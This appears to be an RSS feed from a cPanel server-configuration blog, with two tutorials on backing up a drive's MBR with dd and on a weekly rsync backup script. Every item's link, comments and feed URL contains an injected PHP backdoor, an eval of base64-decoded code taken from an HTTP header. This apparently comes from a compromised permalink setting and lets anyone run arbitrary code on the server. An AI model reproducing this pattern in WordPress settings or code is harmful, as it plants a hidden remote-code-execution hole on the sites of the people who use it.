<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cPanelConfig - cPanel server configuration guide &#187; backup</title>
	<atom:link href="http://www.cpanelconfig.com/tag/backup/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cpanelconfig.com</link>
	<description>The complete guide to setup and manage a cPanel based server</description>
	<lastBuildDate>Fri, 17 Jul 2009 11:15:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Backup partition table and bootloader</title>
		<link>http://www.cpanelconfig.com/2008/10/13/backup-partition-table-and-bootloader/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2008/10/13/backup-partition-table-and-bootloader/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 10:10:58 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Linux commands]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[bootloader]]></category>
		<category><![CDATA[mbr]]></category>
		<category><![CDATA[partition table]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/?p=72</guid>
		<description><![CDATA[In this article I will be explaining how to backup the MBR record of a hard-drive.
The MBR record contains the partition table and bootloader.




Having a backup of the MBR is useful in case you want to copy data from an older drive to a new one or in case you want to restore data from [...]]]></description>
			<content:encoded><![CDATA[<p>In this article I will be explaining how to backup the MBR record of a hard-drive.<br />
The MBR record contains the partition table and bootloader.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-1278592249908214";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text_image";
//2007-09-07: cpanelconfig.com
google_ad_channel = "5743344290";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0361A0";
google_color_text = "000000";
google_color_url = "0361A0";
//-->
</script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
Having a backup of the MBR is useful in case you want to copy data from an older drive to a new one or in case you want to restore data from a damaged drive.<br />
<strong>How to backup the MBR record</strong></p>
<blockquote><p>dd if=/dev/sdX of=MBR.bck bs=512 count=1</p></blockquote>
<p>Please note that you have to replace /dev/sdX with your actual drive. This can be /dev/sda, /dev/hda, etc.</p>
<p><strong>How to restore de MBR record</strong></p>
<blockquote><p>dd if=MBR.bck of=/dev/sdX bs=512 count=1</p></blockquote>
<p>Again you have to replace /dev/sdX with your actual drive.<br />
<!--adsense--><br />
If you also want to  keep a human readable copy of the partition table you can run:</p>
<blockquote><p>fdisk -l &gt; part.table</p></blockquote>
<p>I hope it helps !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2008/10/13/backup-partition-table-and-bootloader/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Backup your data on a backup hdd with rsync</title>
		<link>http://www.cpanelconfig.com/2007/12/22/backup-your-data-on-a-backup-hdd-with-rsync/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/</link>
		<comments>http://www.cpanelconfig.com/2007/12/22/backup-your-data-on-a-backup-hdd-with-rsync/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/#comments</comments>
		<pubDate>Sat, 22 Dec 2007 18:56:48 +0000</pubDate>
		<dc:creator>yolau</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[rsync]]></category>

		<guid isPermaLink="false">http://www.cpanelconfig.com/tips/backup-your-data-on-a-backup-hdd-with-rsync/</guid>
		<description><![CDATA[
This tutorial has been requested by one of our readers that was having trouble with the default cPanel backup script.
It is something well known that the cPanel backup script takes a long time to finish and consumes a lot o resources.
This is not a big problem if you have 100 accounts on the server but [...]]]></description>
			<content:encoded><![CDATA[<p><!--adsense--><br />
This tutorial has been requested by one of our readers that was having trouble with the default cPanel backup script.<br />
It is something well known that the cPanel backup script takes a long time to finish and consumes a lot o resources.<br />
This is not a big problem if you have 100 accounts on the server but if you have 1000 you will see what I am talking about.</p>
<p>The backup script that I am suggesting uses rsync and will update only the files that are changed since the last backup. This will greatly reduce the backup time and the load on the server.</p>
<p>For this script to work you have to  have a second hdd with a size identical or greater then your main hdd.<br />
In this example I will backup the hole hdd but you can of course backup only /home or anything you like.<br />
To better protect the data on the backup hdd, this hard-disk will be mounted as read-only for the majority of time and will be switched to read/write only when the backup script is running .<br />
<!--adsense--></p>
<p>I recommend running the script once a week or once a day.<br />
If you want to run it once a week go to /etc/cron.weekly/</p>
<blockquote><p>cd /etc/cron.weekly/</p></blockquote>
<p>Now we will create the backup script</p>
<blockquote><p>nano backup</p></blockquote>
<p>Paste into this file the fallowing</p>
<blockquote><p> #!/bin/bash<br />
mount -o remount,rw /backups<br />
rsync -av &#8211;delete &#8211;exclude=/backups / /backups<br />
mount -o remount,ro /backups</p></blockquote>
<p>This will backup &#8220;/&#8221; to&#8221; /backups&#8221;, replacing only the changed files since the last backup. It will also mount /backups in read/write mode first and after the backup is finished it will mount it in read-only mode.</p>
<p>Hope it helps !<br />
<!--adsense--></p>
<p>PS: Remember that this is just a basic  backup script. There are many enhancements that can be done and if you have some creative ideas please leave a comment with your suggestions.<br />
Also please note that this does <strong>not</strong> replace the need for a fault tolerant solution such as a RAID matrix.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cpanelconfig.com/2007/12/22/backup-your-data-on-a-backup-hdd-with-rsync/%&amp;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&amp;%/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
